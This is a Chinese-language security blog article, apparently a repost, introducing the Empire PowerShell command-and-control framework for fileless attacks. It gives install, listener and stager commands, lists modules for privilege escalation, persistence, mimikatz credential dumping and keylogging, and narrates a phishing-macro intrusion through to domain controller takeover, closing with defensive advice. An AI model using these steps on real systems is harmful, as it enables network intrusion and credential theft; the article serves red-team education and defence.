Empire:用PowerShell统治内网的“隐形帝国

admin 2026-03-10 01:31:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了Empire这一基于PowerShell的无文件攻击C2框架,详细解析其内存执行、免杀特性及架构组成。文章提供了从安装到上线的操作流程,列举了信息收集、提权与横向移动等核心功能,并结合红队实战案例展示了其内网渗透路径。最后针对Empire攻击提出了开启日志审计、部署AMSI及行为监控等防御建议,是理解红队工具与内网安全的优质参考。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,安全工具,免杀


cover_image

Empire:用PowerShell统治内网的“隐形帝国

原创

xxxxxx xxxxxx

渗透测试知识学习

2026年3月9日 19:41 四川

你见过不落地木马就能控制电脑的黑客工具吗?

你见过全程在内存里运行、杀毒软件查不出进程的恶意软件吗?

你见过能从一个普通用户权限,一路爬到域管理员的神器吗?

它叫Empire。

一、Empire是什么?

Empire是一个纯PowerShell实现的C2框架,后来被移植到Python 3,改名Empire 3,目前由BC Security维护。

简单说:它是一个专门为“无文件攻击”设计的黑客工具。

什么叫“无文件攻击”?

就是不往硬盘里写exe文件,所有恶意代码都在内存里跑。杀毒软件扫描硬盘?扫不到。文件监控系统?没文件可抓。

二、为什么说它是“隐形帝国”?

因为它的设计哲学就是:能不写文件,就不写文件。

第一:全内存运行

Empire的植入物叫“agent”,用PowerShell写成。目标执行后,代码全在内存里,不写磁盘。杀毒软件的传统扫描方式,对它基本无效。

第二:PowerShell是白名单

Windows系统自带PowerShell,本来就是用来管理电脑的。杀毒软件不能拦PowerShell——一拦系统就崩了。Empire就是钻这个空子。

第三:模块化设计

想要什么功能,现从服务器下发,内存里执行。用完就扔,不留痕迹。

三、Empire的架构

Empire由三部分组成:

  1. 服务端

用Python 3写成,跑在攻击者的VPS上。负责管理所有agent、存储数据、处理任务。

  1. 客户端

也是Python写的命令行界面,操作员用它连到服务端下发命令。

  1. Agent植入物

用PowerShell写成,跑在目标机器上。分几种:

· powershell:纯PowerShell版

· csharp:C#实现,更稳定

· python:Linux/macOS用

四、怎么用?一个简化版流程

第一步:安装

git clone https://github.com/BC-SECURITY/Empire

cd Empire

sudo ./setup/install.sh

第二步:启动

sudo ./empire

进入交互界面。

第三步:开启监听

listeners

uselistener http

set Name test

set Host http://你的IP:8080

execute

第四步:生成启动器

usestager windows/launcher\_bat

set Listener test

execute

会生成一个批处理文件。把这个文件发给目标。

第五步:目标上线

目标一跑,你的控制台里就会出现一个新的agent。

agents

interact 新agent的ID

五、Empire能干什么?

进入agent交互界面后,能做的事多了:

信息收集

· whoami:当前用户

· ipconfig:网络配置

· net view:看内网电脑

· ps:看进程

提权

· usemodule powershell/privesc/powerup/allchecks:一键扫描提权漏洞

· usemodule powershell/privesc/ms16-032:打特定漏洞

横向移动

· usemodule powershell/persistence/misc/add_netuser:加新用户

· usemodule powershell/persistence/misc/schtasks:加计划任务

· usemodule powershell/persistence/misc/wmi:WMI远程执行

凭证窃取

· usemodule powershell/credentials/mimikatz/dump_creds:扒内存密码

· usemodule powershell/credentials/tokens:窃取令牌

键盘记录

· usemodule powershell/collection/keylog:开始录键盘

六、真实案例:Empire怎么干

某次红队演练,目标公司防护很严:有EDR、有杀毒、员工不能装软件。

红队怎么进的?

第一步:钓鱼邮件

发邮件“工资调整通知.docx”,让员工点。

文档里藏了宏代码,运行时用PowerShell下载Empire的agent。

第二步:上线

员工点了“启用内容”,PowerShell跑起来,agent上线。

杀毒软件没报——因为PowerShell是白名单,agent在内存里,没文件落地。

第三步:信息收集

看whoami——普通用户权限。看net view——内网有200台电脑。

第四步:提权

用PowerUp模块扫描,发现有个漏洞可以提权到SYSTEM。

第五步:横向移动

拿到SYSTEM后,用WMI往文件服务器上种agent。

文件服务器上有域管理员的会话,用mimikatz扒出域管理员密码。

第六步:拿下域控

用域管理员密码登录域控,种agent。

从头到尾,没往硬盘里写一个exe文件。

七、Empire为什么被黑客偏爱?

  1. 免杀能力强

因为全程内存运行,杀毒软件的传统文件扫描直接废了。

  1. 功能全

从信息收集到权限维持,从提权到横向移动,上千个现成模块。

  1. 跨平台

Windows用PowerShell agent,Linux/macOS用Python agent。

  1. 社区活跃

大量第三方插件和脚本,想要什么功能都能找。

八、怎么防Empire?

Empire这么厉害,怎么防?

  1. 开PowerShell日志

PowerShell有日志功能,能记录谁跑了什么命令。开启Script Block Logging和Module Logging,攻击者的操作会留下痕迹。

  1. 用AMSI

AMSI能扫描内存里的PowerShell代码。虽然Empire有绕过AMSI的模块,但开了总比不开强。

  1. 限制PowerShell执行策略

设置ExecutionPolicy,不允许随便跑脚本。

  1. 监控进程行为

PowerShell正常不该做的事:

· 远程下载代码

· 访问敏感系统API

· 频繁的进程创建

  1. 用JEA(Just Enough Administration)

给普通用户最小权限,不让他们随便跑PowerShell。

九、最后一句

Empire是PowerShell版的C2框架,也是“无文件攻击”的代表作。

它用Windows自带的工具,干着破坏系统的事。杀毒软件拦不住,普通用户看不见。

但它本身也是开源工具,正规红队用来测安全,黑帽黑客用来搞破坏。

工具没善恶,用的人有。

想了解黑客怎么用PowerShell搞事情?

安装命令:

git clone https://github.com/BC-SECURITY/Empire

cd Empire

sudo ./setup/install.sh

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:渗透测试知识学习 xxxxxx xxxxxx《Empire:用PowerShell统治内网的“隐形帝国》

评论:0   参与:  0